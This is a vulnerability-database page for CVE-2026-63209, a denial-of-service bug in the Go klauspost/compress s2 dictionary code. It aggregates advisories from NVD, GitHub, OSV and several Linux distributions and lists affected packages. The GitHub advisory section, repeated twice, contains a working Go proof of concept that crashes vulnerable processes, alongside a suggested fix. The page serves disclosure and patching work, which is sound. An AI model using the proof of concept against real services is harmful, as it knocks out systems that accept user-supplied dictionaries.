CVE-2026-63209
Integer Overflow or Wraparound and Out-of-bounds Write in compress
compress provides various compression algorithms. Prior to version 1.18.7, a signed integer overflow vulnerability in s2.NewDict() allows an attacker to bypass repeat index validation by supplying a dictionary with a uvarint-encoded repeat value exceeding MaxInt64. When Dict.Encode() is subsequently called, the overflowed negative repeat value causes an out-of-bounds memory access via unsafe.Pointer arithmetic, crashing the process with SIGSEGV. This issue has been patched in version 1.18.7.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- None
- Integrity
- None
- Availability
- High
Exploit likelihood
What each source reports
CVE List Score used
7.5
Integer Overflow or Wraparound and Out-of-bounds Write in compress
compress provides various compression algorithms. Prior to version 1.18.7, a signed integer overflow vulnerability in s2.NewDict() allows an attacker to bypass repeat index validation by supplying a dictionary with a uvarint-encoded repeat value exceeding MaxInt64. When Dict.Encode() is subsequently called, the overflowed negative repeat value causes an out-of-bounds memory access via unsafe.Pointer arithmetic, crashing the process with SIGSEGV. This issue has been patched in version 1.18.7.
- Record
CVE-2026-63209- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-190, CWE-787
- Updated
- 2026-11-02
EUVDEUVD-2026-88977
7.5
compress provides various compression algorithms. Prior to version 1.18.7, a signed integer overflow vulnerability in s2.NewDict() allows an attacker to bypass repeat index validation by supplying a dictionary with a uvarint-encoded repeat value exceeding MaxInt64. When Dict.Encode() is subsequently called, the overflowed negative repeat value causes an out-of-bounds memory access via unsafe.Pointer arithmetic, crashing the process with SIGSEGV. This issue has been patched in version 1.18.7.
- Record
EUVD-2026-88977- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-259r-337f-4rfw
7.5
Compress/s2: Integer Overflow or Wraparound and Out-of-bounds Write in compress
Signed Integer Overflow in s2.NewDict
Summary
A signed integer overflow vulnerability in s2.NewDict() allows an attacker to bypass repeat index validation by supplying a dictionary with a uvarint-encoded repeat value exceeding MaxInt64. When Dict.Encode() is subsequently called, the overflowed negative repeat value causes an out-of-bounds memory access via unsafe.Pointer arithmetic, crashing the process with SIGSEGV.
Package
- Name:
github.com/klauspost/compress/s2 - Ecosystem: Go
- Affected versions: <= v1.18.6 (all versions with
NewDictfunction)
Severity
High (7.5) — CVSS v3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Vulnerability
Type
- CWE-190: Integer Overflow or Wraparound
- CWE-787: Out-of-bounds Write (via unsafe.Pointer)
Description
The NewDict() function reads a uvarint from dictionary data and converts it to int:
r, n := binary.Uvarint(dict)
// ...
d.repeat = int(r)
if d.repeat > len(dict) {
return nil
}
When r exceeds MaxInt64 (9223372036854775807), int(r) overflows to a negative value. Since a negative number is never greater than a positive length, the validation check is bypassed.
When Dict.Encode() is called, the negative repeat value causes an integer overflow in encodeBlockDictGo():
repeat := len(dict.dict) - dict.repeat // overflows: 62 - (-5758978476775341977) = huge positive
candidate := len(dict.dict) - repeat + s // underflows to negative
load32(dict.dict, candidate) // OOB via unsafe.Pointer
load32 calls le.Load32 which uses unsafe.Pointer arithmetic without bounds checking:
func Load32[I Indexer](b []byte, i I) uint32 {
return *(*uint32)(unsafe.Add(unsafe.Pointer(unsafe.SliceData(b)), i))
}
This causes a segmentation fault (SIGSEGV) when the negative index is dereferenced.
PoC
package main
import (
"encoding/binary"
"fmt"
"github.com/klauspost/compress/s2"
)
func main() {
var dictData []byte
buf := make([]byte, binary.MaxVarintLen64)
n := binary.PutUvarint(buf, 12687765596934209639) // > MaxInt64
dictData = append(dictData, buf[:n]...)
dictData = append(dictData, make([]byte, 16)...) // minimum dict size
dict := s2.NewDict(dictData)
// dict is non-nil despite invalid repeat value (overflow bypassed validation)
src := make([]byte, 64)
for i := range src { src[i] = byte(i) }
dict.Encode(nil, src) // SIGSEGV: OOB access via unsafe.Pointer
}
Impact
- Denial of Service: The process crashes immediately with SIGSEGV
Attack Vector
Any application that:
- Accepts user-supplied S2 dictionary data via
s2.NewDict() - Calls
Dict.Encode()on any data ≥32 bytes
Suggested Fix
Validate the uvarint value before converting to int:
if r > math.MaxInt64 {
return nil
}
d.repeat = int(r)
Or use uint for the repeat field and validate against uint(len(dict)).
References
- Source:
s2/dict.golines 59-61 (vulnerability),s2/encode_all.goline 947 (crash site) - Commit: 539243b (v1.18.6 + 4 commits)
Credits
Christopher Linke / https://github.com/celinke97/
- Record
GHSA-259r-337f-4rfw- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-190, CWE-787
- Updated
- 2026-11-02
NVD
7.5
compress provides various compression algorithms. Prior to version 1.18.7, a signed integer overflow vulnerability in s2.NewDict() allows an attacker to bypass repeat index validation by supplying a dictionary with a uvarint-encoded repeat value exceeding MaxInt64. When Dict.Encode() is subsequently called, the overflowed negative repeat value causes an out-of-bounds memory access via unsafe.Pointer arithmetic, crashing the process with SIGSEGV. This issue has been patched in version 1.18.7.
- Record
CVE-2026-63209- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-190, CWE-787
- Updated
- 2026-11-02
OSVBELL-CVE-2026-63209
7.5
CVE-2026-63209 does not affect BellSoft software
- Record
BELL-CVE-2026-63209- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Updated
- 2026-11-02
OSV
7.5
Integer Overflow or Wraparound and Out-of-bounds Write in compress
compress provides various compression algorithms. Prior to version 1.18.7, a signed integer overflow vulnerability in s2.NewDict() allows an attacker to bypass repeat index validation by supplying a dictionary with a uvarint-encoded repeat value exceeding MaxInt64. When Dict.Encode() is subsequently called, the overflowed negative repeat value causes an out-of-bounds memory access via unsafe.Pointer arithmetic, crashing the process with SIGSEGV. This issue has been patched in version 1.18.7.
- Record
CVE-2026-63209- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-190, CWE-787
- Updated
- 2026-11-05
Show 48 moreShow less
OSVDEBIAN-CVE-2026-63209
7.5
compress provides various compression algorithms. Prior to version 1.18.7, a signed integer overflow vulnerability in s2.NewDict() allows an attacker to bypass repeat index validation by supplying a dictionary with a uvarint-encoded repeat value exceeding MaxInt64. When Dict.Encode() is subsequently called, the overflowed negative repeat value causes an out-of-bounds memory access via unsafe.Pointer arithmetic, crashing the process with SIGSEGV. This issue has been patched in version 1.18.7.
- Record
DEBIAN-CVE-2026-63209- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Updated
- 2026-11-02
OSVGHSA-259r-337f-4rfw
7.5
Compress/s2: Integer Overflow or Wraparound and Out-of-bounds Write in compress
Signed Integer Overflow in s2.NewDict
Summary
A signed integer overflow vulnerability in s2.NewDict() allows an attacker to bypass repeat index validation by supplying a dictionary with a uvarint-encoded repeat value exceeding MaxInt64. When Dict.Encode() is subsequently called, the overflowed negative repeat value causes an out-of-bounds memory access via unsafe.Pointer arithmetic, crashing the process with SIGSEGV.
Package
- Name:
github.com/klauspost/compress/s2 - Ecosystem: Go
- Affected versions: <= v1.18.6 (all versions with
NewDictfunction)
Severity
High (7.5) — CVSS v3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Vulnerability
Type
- CWE-190: Integer Overflow or Wraparound
- CWE-787: Out-of-bounds Write (via unsafe.Pointer)
Description
The NewDict() function reads a uvarint from dictionary data and converts it to int:
r, n := binary.Uvarint(dict)
// ...
d.repeat = int(r)
if d.repeat > len(dict) {
return nil
}
When r exceeds MaxInt64 (9223372036854775807), int(r) overflows to a negative value. Since a negative number is never greater than a positive length, the validation check is bypassed.
When Dict.Encode() is called, the negative repeat value causes an integer overflow in encodeBlockDictGo():
repeat := len(dict.dict) - dict.repeat // overflows: 62 - (-5758978476775341977) = huge positive
candidate := len(dict.dict) - repeat + s // underflows to negative
load32(dict.dict, candidate) // OOB via unsafe.Pointer
load32 calls le.Load32 which uses unsafe.Pointer arithmetic without bounds checking:
func Load32[I Indexer](b []byte, i I) uint32 {
return *(*uint32)(unsafe.Add(unsafe.Pointer(unsafe.SliceData(b)), i))
}
This causes a segmentation fault (SIGSEGV) when the negative index is dereferenced.
PoC
package main
import (
"encoding/binary"
"fmt"
"github.com/klauspost/compress/s2"
)
func main() {
var dictData []byte
buf := make([]byte, binary.MaxVarintLen64)
n := binary.PutUvarint(buf, 12687765596934209639) // > MaxInt64
dictData = append(dictData, buf[:n]...)
dictData = append(dictData, make([]byte, 16)...) // minimum dict size
dict := s2.NewDict(dictData)
// dict is non-nil despite invalid repeat value (overflow bypassed validation)
src := make([]byte, 64)
for i := range src { src[i] = byte(i) }
dict.Encode(nil, src) // SIGSEGV: OOB access via unsafe.Pointer
}
Impact
- Denial of Service: The process crashes immediately with SIGSEGV
Attack Vector
Any application that:
- Accepts user-supplied S2 dictionary data via
s2.NewDict() - Calls
Dict.Encode()on any data ≥32 bytes
Suggested Fix
Validate the uvarint value before converting to int:
if r > math.MaxInt64 {
return nil
}
d.repeat = int(r)
Or use uint for the repeat field and validate against uint(len(dict)).
References
- Source:
s2/dict.golines 59-61 (vulnerability),s2/encode_all.goline 947 (crash site) - Commit: 539243b (v1.18.6 + 4 commits)
Credits
Christopher Linke / https://github.com/celinke97/
- Record
GHSA-259r-337f-4rfw- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-190, CWE-787
- Updated
- 2026-11-02
OSVRHSA-2026:54413
7.5
Red Hat Security Advisory: Red Hat Hardened Images RPMs bug fix and enhancement update
- Record
RHSA-2026:54413- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Updated
- 2026-11-02
OSVRHSA-2026:54419
7.5
Red Hat Security Advisory: Red Hat Hardened Images RPMs bug fix and enhancement update
- Record
RHSA-2026:54419- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Updated
- 2026-11-02
OSVRHSA-2026:58472
7.5
Red Hat Security Advisory: Red Hat Hardened Images RPMs bug fix and enhancement update
- Record
RHSA-2026:58472- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Updated
- 2026-11-02
OSVRHSA-2026:68256
7.5
Red Hat Security Advisory: Red Hat Hardened Images RPMs bug fix and enhancement update
- Record
RHSA-2026:68256- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Updated
- 2026-11-02
OSVRHSA-2026:68272
7.5
Red Hat Security Advisory: Red Hat Hardened Images RPMs bug fix and enhancement update
- Record
RHSA-2026:68272- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Updated
- 2026-11-02
OSVRHSA-2026:68290
8.8
Red Hat Security Advisory: Red Hat Hardened Images RPMs bug fix and enhancement update
- Record
RHSA-2026:68290- CVSS 3.1
- 8.8 High
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H - Updated
- 2026-11-02
OSVRHSA-2026:68591
7.5
Red Hat Security Advisory: Red Hat Hardened Images RPMs bug fix and enhancement update
- Record
RHSA-2026:68591- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Updated
- 2026-11-02
OSVRHSA-2026:68717
7.5
Red Hat Security Advisory: Red Hat Hardened Images RPMs Security Update
- Record
RHSA-2026:68717- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Updated
- 2026-11-02
OSVRHSA-2026:68729
7.5
Red Hat Security Advisory: Red Hat Hardened Images RPMs Security Update
- Record
RHSA-2026:68729- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Updated
- 2026-11-02
OSVRHSA-2026:68806
7.5
Red Hat Security Advisory: Red Hat Hardened Images RPMs bug fix and enhancement update
- Record
RHSA-2026:68806- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Updated
- 2026-11-02
OSVRHSA-2026:68808
7.5
Red Hat Security Advisory: Red Hat Hardened Images RPMs bug fix and enhancement update
- Record
RHSA-2026:68808- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Updated
- 2026-11-02
OSVRHSA-2026:70031
7.5
Red Hat Security Advisory: Red Hat Hardened Images RPMs bug fix and enhancement update
- Record
RHSA-2026:70031- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Updated
- 2026-11-02
OSVRHSA-2026:70670
7.5
Red Hat Security Advisory: Red Hat Hardened Images RPMs bug fix and enhancement update
- Record
RHSA-2026:70670- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Updated
- 2026-11-02
OSVRHSA-2026:70684
7.5
Red Hat Security Advisory: Red Hat Hardened Images RPMs bug fix and enhancement update
- Record
RHSA-2026:70684- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Updated
- 2026-11-02
OSVRHSA-2026:70726
7.5
Red Hat Security Advisory: Red Hat Hardened Images RPMs bug fix and enhancement update
- Record
RHSA-2026:70726- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Updated
- 2026-11-02
OSVRHSA-2026:72490
7.5
Red Hat Security Advisory: Red Hat Hardened Images RPMs Security Update
- Record
RHSA-2026:72490- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Updated
- 2026-11-02
OSVRHSA-2026:72491
7.5
Red Hat Security Advisory: Red Hat Hardened Images RPMs Security Update
- Record
RHSA-2026:72491- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Updated
- 2026-11-02
OSVRHSA-2026:72492
7.5
Red Hat Security Advisory: Red Hat Hardened Images RPMs Security Update
- Record
RHSA-2026:72492- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Updated
- 2026-11-02
OSVRHSA-2026:72493
7.5
Red Hat Security Advisory: Red Hat Hardened Images RPMs Security Update
- Record
RHSA-2026:72493- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Updated
- 2026-11-02
OSVRHSA-2026:72496
7.5
Red Hat Security Advisory: Red Hat Hardened Images RPMs Security Update
- Record
RHSA-2026:72496- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Updated
- 2026-11-02
OSVRHSA-2026:72497
7.5
Red Hat Security Advisory: Red Hat Hardened Images RPMs Security Update
- Record
RHSA-2026:72497- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Updated
- 2026-11-02
OSVRHSA-2026:72498
8.1
Red Hat Security Advisory: Red Hat Hardened Images RPMs Security Update
- Record
RHSA-2026:72498- CVSS 3.1
- 8.1 High
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H - Updated
- 2026-11-02
OSVRHSA-2026:72507
8.1
Red Hat Security Advisory: Red Hat Hardened Images RPMs Security Update
- Record
RHSA-2026:72507- CVSS 3.1
- 8.1 High
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H - Updated
- 2026-11-02
OSVRHSA-2026:72570
7.5
Red Hat Security Advisory: Red Hat Hardened Images RPMs Security Update
- Record
RHSA-2026:72570- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Updated
- 2026-11-02
OSVUBUNTU-CVE-2026-63209
7.5
compress provides various compression algorithms. Prior to version 1.18.7, a signed integer overflow vulnerability in s2.NewDict() allows an attacker to bypass repeat index validation by supplying a dictionary with a uvarint-encoded repeat value exceeding MaxInt64. When Dict.Encode() is subsequently called, the overflowed negative repeat value causes an out-of-bounds memory access via unsafe.Pointer arithmetic, crashing the process with SIGSEGV. This issue has been patched in version 1.18.7.
- Record
UBUNTU-CVE-2026-63209- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Updated
- 2026-11-02
OSVAZL-105534 No score
CVE-2026-63209 affecting package keda 2.14.1-19
compress provides various compression algorithms. Prior to version 1.18.7, a signed integer overflow vulnerability in s2.NewDict() allows an attacker to bypass repeat index validation by supplying a dictionary with a uvarint-encoded repeat value exceeding MaxInt64. When Dict.Encode() is subsequently called, the overflowed negative repeat value causes an out-of-bounds memory access via unsafe.Pointer arithmetic, crashing the process with SIGSEGV. This issue has been patched in version 1.18.7.
- Record
AZL-105534- Updated
- 2026-11-02
OSVAZL-105906 No score
CVE-2026-63209 affecting package telegraf 1.31.0-33
compress provides various compression algorithms. Prior to version 1.18.7, a signed integer overflow vulnerability in s2.NewDict() allows an attacker to bypass repeat index validation by supplying a dictionary with a uvarint-encoded repeat value exceeding MaxInt64. When Dict.Encode() is subsequently called, the overflowed negative repeat value causes an out-of-bounds memory access via unsafe.Pointer arithmetic, crashing the process with SIGSEGV. This issue has been patched in version 1.18.7.
- Record
AZL-105906- Updated
- 2026-11-02
OSVGO-2026-5841 No score
OOB read in github.com/klauspost/compress/s2
Providing a specially crafted dictionary to s2.NewDict and using it to encode data can make the encoder read out of bounds.
- Record
GO-2026-5841- Updated
- 2026-11-02
OSVopenSUSE-SU-2026:11939-1 No score
amazon-cloudwatch-agent-1.300073.0-1.1 on GA media
These are all security issues fixed in the amazon-cloudwatch-agent-1.300073.0-1.1 package on the GA media of openSUSE Tumbleweed.
- Record
openSUSE-SU-2026:11939-1- Updated
- 2026-11-02
OSVopenSUSE-SU-2026:11953-1 No score
aliyun-cli-3.5.1-2.1 on GA media
These are all security issues fixed in the aliyun-cli-3.5.1-2.1 package on the GA media of openSUSE Tumbleweed.
- Record
openSUSE-SU-2026:11953-1- Updated
- 2026-11-02
OSVopenSUSE-SU-2026:11955-1 No score
cadvisor-0.60.6-1.1 on GA media
These are all security issues fixed in the cadvisor-0.60.6-1.1 package on the GA media of openSUSE Tumbleweed.
- Record
openSUSE-SU-2026:11955-1- Updated
- 2026-11-02
OSVopenSUSE-SU-2026:11957-1 No score
distribution-registry-3.1.1-9.1 on GA media
These are all security issues fixed in the distribution-registry-3.1.1-9.1 package on the GA media of openSUSE Tumbleweed.
- Record
openSUSE-SU-2026:11957-1- Updated
- 2026-11-02
OSVopenSUSE-SU-2026:11960-1 No score
crane-0.22.1-2.1 on GA media
These are all security issues fixed in the crane-0.22.1-2.1 package on the GA media of openSUSE Tumbleweed.
- Record
openSUSE-SU-2026:11960-1- Updated
- 2026-11-02
OSVopenSUSE-SU-2026:11961-1 No score
google-osconfig-agent-20260928.01-1.1 on GA media
These are all security issues fixed in the google-osconfig-agent-20260928.01-1.1 package on the GA media of openSUSE Tumbleweed.
- Record
openSUSE-SU-2026:11961-1- Updated
- 2026-11-02
OSVopenSUSE-SU-2026:11962-1 No score
hauler-2.1.1-1.1 on GA media
These are all security issues fixed in the hauler-2.1.1-1.1 package on the GA media of openSUSE Tumbleweed.
- Record
openSUSE-SU-2026:11962-1- Updated
- 2026-11-02
OSVopenSUSE-SU-2026:11963-1 No score
helm-4.3.0-4.1 on GA media
These are all security issues fixed in the helm-4.3.0-4.1 package on the GA media of openSUSE Tumbleweed.
- Record
openSUSE-SU-2026:11963-1- Updated
- 2026-11-02
OSVopenSUSE-SU-2026:11964-1 No score
helm3-3.22.0-3.1 on GA media
These are all security issues fixed in the helm3-3.22.0-3.1 package on the GA media of openSUSE Tumbleweed.
- Record
openSUSE-SU-2026:11964-1- Updated
- 2026-11-02
OSVopenSUSE-SU-2026:12114-1 No score
alloy-1.20.1-1.1 on GA media
These are all security issues fixed in the alloy-1.20.1-1.1 package on the GA media of openSUSE Tumbleweed.
- Record
openSUSE-SU-2026:12114-1- Updated
- 2026-11-02
OSVopenSUSE-SU-2026:12163-1 No score
gh-2.102.0-1.1 on GA media
These are all security issues fixed in the gh-2.102.0-1.1 package on the GA media of openSUSE Tumbleweed.
- Record
openSUSE-SU-2026:12163-1- Updated
- 2026-11-02
OSVopenSUSE-SU-2026:12186-1 No score
rqlite-10.6.1-1.1 on GA media
These are all security issues fixed in the rqlite-10.6.1-1.1 package on the GA media of openSUSE Tumbleweed.
- Record
openSUSE-SU-2026:12186-1- Updated
- 2026-11-02
OSVopenSUSE-SU-2026:22039-1 No score
Security update for distribution
This update for distribution fixes the following issue:
- CVE-2026-63209: github.com/klauspost/compress: signed integer overflow in s2.NewDict() allows an attacker to bypass repeat index validation and cause a process crash (bsc#1283762).
- Record
openSUSE-SU-2026:22039-1- Updated
- 2026-11-02
OSVopenSUSE-SU-2026:22057-1 No score
Security update for helm
This update for helm fixes the following issues:
- CVE-2026-63209: github.com/klauspost/compress: signed integer overflow in s2.NewDict() allows an attacker to bypass repeat index validation and cause a process crash (bsc#1283642).
- CVE-2026-81870: OpenTelemetry-Go: Information disclosure via exporter (bsc#1284104).
- CVE-2026-85732: oras.land/oras-go/v2: blind SSRF via unvalidated Link header URL in pagination allows internal network probing (bsc#1281112).
- Record
openSUSE-SU-2026:22057-1- Updated
- 2026-11-02
OSVopenSUSE-SU-2026:22078-1 No score
Security update for google-osconfig-agent
This update for google-osconfig-agent fixes the following issue:
- CVE-2026-63209: github.com/klauspost/compress: signed integer overflow in s2.NewDict() allows an attacker to bypass repeat index validation and cause a process crash (bsc#1283672).
Changes for google-osconfig-agent:
- Update to version 20260928.01
- scalibr linux new metadata support (#1038)
- from version 20260928.00
- Fix failing to report REBOOTING state during postPatchReboot due to context canceled for Windows VMs (#1055)
- from version 20260923.03
- Fix os/snap extractor usage (#1053)
- Update to version 20260918.01
- bump grpc package to new version (#1057)
- from version 20260918.00
- bump some dependencies across few modules (#1056)
- Remove stale Go module version overrides in _service file
- Record
openSUSE-SU-2026:22078-1- Updated
- 2026-11-02
OSVopenSUSE-SU-2026:22116-1 No score
Security update for hauler
This update for hauler fixes the following issues:
Changes in hauler:
-
update to 2.1.1:
- bumped go version to v1.26.7 (backport #771)
- https registry auth fix (backport #763)
- adjust supporting artifact retrieval (backport #777)
- reject --platform on digest-pinned multi-platform images
- fix: serve registry returns an empty /v2/_catalog list
- added airgapped support for install.sh and added windows install.ps1
- added/fixed basic auth with registry and fileserver
- fixed store inventory race with concurrent processes
- added type filter to store copy
- fixed missing dirs in containers
- updated github workflows with versions, permissions, and concurrency
-
update vendor.tar to fix:
- bsc#1280110, CVE-2026-53495
- Record
openSUSE-SU-2026:22116-1- Updated
- 2026-11-02
OSVopenSUSE-SU-2026:22117-1 No score
Security update for cadvisor
This update for cadvisor fixes the following issues:
Changes in cadvisor:
- update to 0.60.6:
- workflows: mirror release tags to lib/ module tags
- fs/zfs: fall back to VFS when zfs stats are unavailable
- storage/stdout: nil-check Cpu, Network, and Memory stats
- Treat memory-only NUMA nodes as valid topology
- update vendor.tar to fix
- bsc#1283657, CVE-2026-63209: cadvisor: github.com/klauspost/compress: signed integer overflow in s2.NewDict()
- Record
openSUSE-SU-2026:22117-1- Updated
- 2026-11-02
OSVopenSUSE-SU-2026:22134-1 No score
Security update for gh
This update for gh fixes the following issues:
Changes in gh:
-
Update to version 2.102.0, fixing four security issues (GHSA-39wj-f2f4-978v, GHSA-4mq3-hpgx-9cx8, GHSA-qcwj-mr2r-2cx7, GHSA-wjmr-j3rp-mh2g):
- gh release/run/attestation download and repo read-file --output could write to an unintended file through symbolic links
- gh attestation verify compared --source-ref case-insensitively
- gh attestation verify matched --signer-workflow only by prefix
- gh skill search could inject options into gh skill install
- Copy auth codes to the clipboard by default (gh config set clipboard disabled to opt out)
- Remove the gh repo garden command and the multi-account migration
- Use API SSH URLs for repository clones
- Validate repository names during interactive creation
- Fix remote branch deletion on owner case mismatch
- Propagate the gh path to extensions
- Allow ghu_ tokens to attach files
- Allow gh repo set-default --unset without an argument
- Bump go-gh to 2.16.1, golang.org/x/crypto to 0.57.0, github.com/klauspost/compress to 1.20.1 and Go to 1.27.1
-
Update golang.org/x/net to 0.60.0 to fix excessive CPU consumption on repeated HTTP/2 initial window changes (CVE-2026-78669, bsc#1285291).
-
Require golang(API) >= 1.27 as upstream moved to Go 1.27.
-
Not affected, vendored dependencies are above the fixed version:
- CVE-2026-84445 (bsc#1278962): grpc is 1.83.2, fixed in 1.83.2
- CVE-2026-84304 (bsc#1279208), CVE-2026-84303 (bsc#1279310): grpc is 1.83.2, fixed in 1.83.1
- CVE-2026-41178 (bsc#1276707): otel/baggage is 1.44.0, fixed in 1.44.0
- CVE-2026-63209 (bsc#1283727): klauspost/compress is 1.20.1, contains the fix of 1.18.7
- CVE-2026-72924 (bsc#1276755): gh is above 2.98.0, the fixed version
- CVE-2026-59831 (bsc#1271215): gh is above 2.95.0, the last affected version
- Record
openSUSE-SU-2026:22134-1- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
github.com/klauspost/compressGo |
through 1.18.6 | 1.18.7 |
kedaAzure Linux:3 |
through 2.14.1-19 | None known |
telegrafAzure Linux:3 |
through 1.31.0-33 | None known |
golang-github-klauspost-compressDebian:13 |
All versions, plus listed versions 1.18.0+ds1-11.18.1+ds1-11.18.6+ds1-11.18.6+ds1-21.19.0+ds1-11.19.0+ds1-21.20.0+ds1-1 |
None known |
golang-github-klauspost-compressDebian:14 |
before 1.19.0+ds1-1, plus listed versions 1.18.0+ds1-11.18.1+ds1-11.18.6+ds1-11.18.6+ds1-2 |
1.19.0+ds1-1 |
github.com/klauspost/compressGo |
before 1.18.7 | 1.18.7 |
github.com/klauspost/compressGo |
1.16.0 up to 1.18.7 | 1.18.7 |
nats-server2.12Red Hat:hummingbird:1 |
before 0:2.12.15-0.1.hum1 | 0:2.12.15-0.1.hum1 |
k6v1Red Hat:hummingbird:1 |
before 0:1.8.1-0.1.hum1 | 0:1.8.1-0.1.hum1 |
rekorRed Hat:hummingbird:1 From an advisory covering 2 CVEs |
before 0:1.5.4-0.1.hum1 | 0:1.5.4-0.1.hum1 |
Show 99 moreShow less
| Package | Affected | Fixed |
|---|---|---|
rekor-serverRed Hat:hummingbird:1 From an advisory covering 2 CVEs |
before 0:1.5.4-0.1.hum1 | 0:1.5.4-0.1.hum1 |
nats-server2.14Red Hat:hummingbird:1 |
before 0:2.14.7-0.1.hum1 | 0:2.14.7-0.1.hum1 |
opentelemetry-collectorRed Hat:hummingbird:1 From an advisory covering 3 CVEs |
before 0:0.161.0-0.1.hum1 | 0:0.161.0-0.1.hum1 |
opentelemetry-collector-contribRed Hat:hummingbird:1 From an advisory covering 10 CVEs |
before 0:0.161.0-0.1.hum1 | 0:0.161.0-0.1.hum1 |
opentelemetry-collector-k8sRed Hat:hummingbird:1 From an advisory covering 3 CVEs |
before 0:0.161.0-0.1.hum1 | 0:0.161.0-0.1.hum1 |
helm3Red Hat:hummingbird:1 From an advisory covering 5 CVEs |
before 0:3.22.0-0.2.hum1 | 0:3.22.0-0.2.hum1 |
helm4Red Hat:hummingbird:1 From an advisory covering 5 CVEs |
before 0:4.3.0-0.2.hum1 | 0:4.3.0-0.2.hum1 |
grypeRed Hat:hummingbird:1 From an advisory covering 2 CVEs |
before 0:0.119.0-0.1.hum1 | 0:0.119.0-0.1.hum1 |
syftRed Hat:hummingbird:1 From an advisory covering 2 CVEs |
before 0:1.52.0-0.1.hum1 | 0:1.52.0-0.1.hum1 |
k6v2Red Hat:hummingbird:1 From an advisory covering 2 CVEs |
before 0:2.3.0-0.1.hum1 | 0:2.3.0-0.1.hum1 |
buildahRed Hat:hummingbird:1 From an advisory covering 2 CVEs |
before 0:1.45.1-1.hum1 | 0:1.45.1-1.hum1 |
skopeoRed Hat:hummingbird:1 |
before 0:1.24.1-1.hum1 | 0:1.24.1-1.hum1 |
skopeo-testsRed Hat:hummingbird:1 |
before 0:1.24.1-1.hum1 | 0:1.24.1-1.hum1 |
podmanRed Hat:hummingbird:1 |
before 0:6.1.2-1.hum1 | 0:6.1.2-1.hum1 |
podman-dockerRed Hat:hummingbird:1 |
before 0:6.1.2-1.hum1 | 0:6.1.2-1.hum1 |
podman-machineRed Hat:hummingbird:1 |
before 0:6.1.2-1.hum1 | 0:6.1.2-1.hum1 |
podman-remoteRed Hat:hummingbird:1 |
before 0:6.1.2-1.hum1 | 0:6.1.2-1.hum1 |
podmanshRed Hat:hummingbird:1 |
before 0:6.1.2-1.hum1 | 0:6.1.2-1.hum1 |
tempo2.10Red Hat:hummingbird:1 From an advisory covering 2 CVEs |
